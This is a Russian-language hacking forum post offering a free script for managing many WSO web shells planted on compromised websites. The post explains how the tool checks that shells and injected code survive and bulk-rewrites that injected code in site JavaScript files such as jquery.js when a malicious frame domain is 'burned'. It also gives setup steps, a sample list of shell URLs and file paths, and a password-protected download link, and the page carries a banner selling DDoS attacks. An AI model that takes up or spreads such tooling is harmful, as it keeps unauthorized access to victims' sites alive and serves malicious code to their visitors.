Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


Система управления шеллами


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Те кто работал с шеллами знает что поначалу когда их 2-3 не сложно управлять ими и вручную, но со временем появляются новые и уже сложно отследить какой шелл удалили, посмотреть не удалил ли админ код, а шелл оставил или просто поменять на всех шеллах фрейм так как домен спалился и хочется чтобы шеллы жили долго.

С этой проблемой столкнулся и я. Естественно написал под WSO 2.5 конкретно под этот, но по идее должен работать и на других модификациях WSO 2.5.

Что умеет скрипт

Умеет проходится по указаным шеллам. Проверять наличие самого шелла и определенного кода в указаном файле, а так же при необходимости изменять нужный участок кода в указанном файле.

Присутствует админка, защищенная паролем в которой можно:
  • Указать пароль(от всех шеллов)
  • Код который должен быть на шеллах
  • Код, на который надо его изменить(если менять ничего не нужно, то укажите тот же код, который уже есть на шеллах)
  • Добавление новых шелло или удаление старых
  • Просмотр и редактирование лога ошибок
Обратите внимание что скрипт не добавляет новый код, а только редактирует уже имеющийся. Это связано с тем что ввиду особенностей разных сайтов вставка в начало и конец файла своего кода может повлечь ошибки на сайте. То есть сначала добавляем код вручную и потом скрипт сможет его изменить/проверить его наличие или же вовсе удалить. То есть при появлении нового шелла и добавлении вашего кода в нужную траницу сразу указываете это в админке и в следующий раз больше не придеться вручную заходить на этот шелл и редактировать код.

Установка

Заливаем все файлы на свой сервер(или на шелл) который должен поддерживать:

библиотеку cURL
функцию set_time_limit()
функцию ignore_user_abort()


В файле config.php указываем логин и пароль к админке. Админка находится в файле index.php.

На папку cookies ставим права 777.В папке Setting ставим на все файлы которые там есть права 777.

Далее настраиваем админку:

Shell password - пароль на все шеллы(должен быть один и тот же)
Code - код который ищем
New code - новый код(на который нужно заменить)
Edit Shells - указываем шеллы и необходимые параметры. Каждый шелл с новой строки. Параметры которые должны быть:
  • Ссылка на шел
  • Путь к папке где лежит нужный нам файл, например /usr/home/user/data/www/site.ru/js/ его можно увидеть в админке шелла
  • Название файла в котором ищем/заменяем нужный код
  • Кодировка. Обычно Windows-1251, но иногда бывает UTF-8
  • Все параметры должны быть разделены символом #
В Edit Shells должно получиться примерно следующее:
Цитата
httр://site.ru/shell.php#/usr/home/user/data/www/site.ru/js/#jquery.js#Windows-1251
httр://site2.ru/shell.php#/home/itld2/data/www/site2.ru/misc/#drupal.js#Windows-1251

Log Error - тут вы можете увидеть какие шеллы удалены, на каких шеллах удален код. А так же удалить или изменить этот лог по своему усмотрению.

Вот собственно и все. Прикрутить соксы или прокси думаю вам уже труда не составит. Я не стал их реализовывать так как по задумке скрипт должен работать на самих шеллах.

Качаем бесплатно тут:


http://rghost.ru/pri...9a538815ce3f773
Пароль: aurenfey.com

Ссылки из под хайдов не выдаю!



Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных